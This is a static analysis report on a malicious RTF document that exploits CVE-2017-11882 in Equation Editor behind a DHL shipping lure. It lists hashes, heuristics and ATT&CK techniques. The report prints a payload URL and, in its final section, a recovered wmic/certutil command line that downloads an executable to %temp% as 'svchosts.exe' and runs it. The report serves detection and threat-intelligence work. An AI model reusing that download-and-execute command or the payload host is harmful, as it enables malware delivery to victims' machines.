Malicious RTF — malware analysis report

Static analysis result for SHA-256 3ec894e16ba99545…

MALICIOUS

RTF

275.8 KB Created: 2018-09-18 01:27:00 First seen: 2018-10-09
MD5: eec4d55eb573cda034fc061ea3dd4b26 SHA-1: 0561d8f32d22808ebd708fd75ffbef59cecc7c82 SHA-256: 3ec894e16ba995457a3d6d5ceb1df03ce607c3e7b1f5fc6fc342b1f1100e216b
382 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object that exploits CVE-2017-11882 in the Equation Editor. This exploit is designed to download and execute a secondary payload from the URL http://192.3.162.102/sl/sair.exe. The document body attempts to lure the user by referencing DHL shipping services, suggesting a phishing pretext.

Heuristics 9

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • URL Moniker in RTF OLE object high CVE related RTF_URL_MONIKER_RELATED
    RTF contains a URL Moniker GUID in OLE object context, but no decoded remote target was confirmed. Treat as related OLE2Link attack-surface evidence rather than proof of CVE-2017-0199 exploitation.
  • ClamAV: Rtf.Exploit.CVE_2018_0802-6825822-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2018_0802-6825822-0
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Automatically linked OLE object high RTF_OBJAUTLINK
    RTF contains \objautlink — an automatically linked OLE object surface that can be updated or activated when Word opens the document.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.3.162.102/sl/sair.exe In RTF body
    • http://www.dhl.comIn RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000431c5.bin rtf-objdata-decoded RTF \objdata at offset 0x431C5 3627 bytes
SHA-256: 5df06af6de31d8fa5623353724accd7c2c3db1013b8f084d694dcf47d530840a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://192.3.162.102/sl/sair.exe Static shellcode analysis recovered command string(s): cmd /start wmic process call create " cmd /c certutil -urlcache -split -f http://192.3.162.102/sl/sair.exe %temp%\\svchosts.exe&%temp%\\svchosts.exe "

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